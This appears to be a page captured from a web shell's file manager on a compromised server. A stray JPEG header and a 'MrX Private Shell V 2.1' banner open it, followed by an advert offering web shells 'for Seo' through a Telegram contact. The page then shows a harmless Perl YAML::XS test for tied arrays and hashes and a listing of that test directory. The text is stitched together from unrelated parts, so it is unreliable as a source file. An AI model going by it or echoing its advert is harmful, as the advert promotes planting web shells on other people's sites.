����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use warnings;
use strict;
use FindBin '$Bin';
use lib $Bin;
use Test::More;
use YAML::XS qw/ Dump /;
BEGIN {
if ($] < 5.010000) {
plan skip_all => 'needs perl 5.10 or higher';
}
else {
plan tests => 4;
}
}
use Tie::Array;
use Tie::Hash;
subtest 'tie-array' => sub {
my $yaml = <<'...';
---
- foo
- bar
- baz
...
tie my @av, 'Tie::StdArray';
$av[0] = 'foo';
$av[1] = 'bar';
$av[2] = 'baz';
is Dump(\@av), $yaml, 'Dumping tied array works';
};
subtest 'tie-hash' => sub {
my $yaml = <<'...';
---
bar: bar
baz: baz
foo: foo
...
tie my %hv, 'Tie::StdHash';
$hv{foo} = 'foo';
$hv{bar} = 'bar';
$hv{baz} = 'baz';
is Dump(\%hv), $yaml, 'Dumping tied hash works';
};
{
package Tie::OneIterationOnly;
my @KEYS = qw(bar baz foo);
sub TIEHASH {
return bless \do { my $x }, shift;
}
sub FIRSTKEY {
my ($self) = @_;
return shift @KEYS;
}
sub NEXTKEY {
my ($self, $last) = @_;
return shift @KEYS;
}
sub FETCH {
my ($self, $key) = @_;
return;
}
}
subtest 'tie-special' => sub {
my $yaml3 = <<'...';
--- {}
...
tie my %hv, 'Tie::OneIterationOnly';
is Dump(\%hv), $yaml3, 'Dumping tied hash works';
};
subtest 'nested-tie' => sub {
my $ref = [qw/ a b c /];
my %foo = (foo => $ref, bar => $ref );
tie my %bar, 'TestStdHash', %foo;
my $yaml = Dump \%bar;
my $exp = <<'EOM';
---
bar: &1
- a
- b
- c
foo: *1
EOM
is $yaml, $exp, 'Dumping nested tied hash works';
my @foo = ($ref, $ref);
tie my @bar, 'TestStdArray', @foo;
$yaml = Dump \@bar;
$exp = <<'EOM';
---
- &1
- a
- b
- c
- *1
EOM
is $yaml, $exp, 'Dumping nested tied array works';
};
package TestStdHash;
our @ISA = qw/ Tie::StdHash /;
sub TIEHASH { my $class = shift; return bless {@_}, $class }
sub FIRSTKEY { my $a = scalar keys %{$_[0]}; each %{$_[0]} }
sub NEXTKEY { each %{$_[0]} }
sub FETCH { $_[0]->{$_[1]} }
package TestStdArray;
our @ISA = qw/ Tie::StdArray /;
sub TIEARRAY { my $class = shift; return bless [@_], $class }
sub FETCH { $_[0]->[ $_[1]] }
sub FETCHSIZE { scalar @{ $_[0] } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| data | Folder | 0755 |
|
|
| oop | Folder | 0755 |
|
|
| 000-require-modules.t | File | 274 B | 0644 |
|
| TestYAML.pm | File | 153 B | 0644 |
|
| TestYAMLTests.pm | File | 2.73 KB | 0644 |
|
| alias.t | File | 2.02 KB | 0644 |
|
| api.t | File | 1.49 KB | 0644 |
|
| ascii.t | File | 869 B | 0644 |
|
| author-pod-syntax.t | File | 300 B | 0644 |
|
| binary.t | File | 379 B | 0644 |
|
| blessed.t | File | 1.98 KB | 0644 |
|
| boolean-boolean.t | File | 781 B | 0644 |
|
| boolean-invalid.t | File | 1013 B | 0644 |
|
| boolean-jsonpp.t | File | 765 B | 0644 |
|
| boolean.t | File | 1.28 KB | 0644 |
|
| bug-pvf.t | File | 231 B | 0644 |
|
| bug-stack.t | File | 258 B | 0644 |
|
| code.t | File | 1.47 KB | 0644 |
|
| dump-heuristics.t | File | 265 B | 0644 |
|
| dump-int.t | File | 945 B | 0644 |
|
| dump.t | File | 227 B | 0644 |
|
| duplicate-keys.t | File | 507 B | 0644 |
|
| empty.t | File | 738 B | 0644 |
|
| empty.yaml | File | 0 B | 0644 |
|
| error.t | File | 1.48 KB | 0644 |
|
| file.t | File | 852 B | 0644 |
|
| glob.t | File | 665 B | 0644 |
|
| indent.t | File | 334 B | 0644 |
|
| io-handle.t | File | 1.36 KB | 0644 |
|
| leak.t | File | 1 KB | 0644 |
|
| libyaml-version.t | File | 248 B | 0644 |
|
| load-blessed.t | File | 1.7 KB | 0644 |
|
| load.t | File | 230 B | 0644 |
|
| load_standard_tags.t | File | 1.32 KB | 0644 |
|
| loadfile-empty.t | File | 171 B | 0644 |
|
| long_plain_wrap.t | File | 421 B | 0644 |
|
| magic.t | File | 280 B | 0644 |
|
| native.t | File | 348 B | 0644 |
|
| null.t | File | 831 B | 0644 |
|
| numbers.t | File | 1.07 KB | 0644 |
|
| path-class.t | File | 544 B | 0644 |
|
| pl_sv_undef.t | File | 397 B | 0644 |
|
| private.t | File | 474 B | 0644 |
|
| quote.t | File | 538 B | 0644 |
|
| ref-scalar.t | File | 985 B | 0644 |
|
| regexp.t | File | 2.27 KB | 0644 |
|
| string_nulls.t | File | 239 B | 0644 |
|
| tags.t | File | 554 B | 0644 |
|
| tied.t | File | 2.14 KB | 0644 |
|
| utf8.t | File | 1.53 KB | 0644 |
|
| yaml_tests.yaml | File | 55 B | 0644 |
|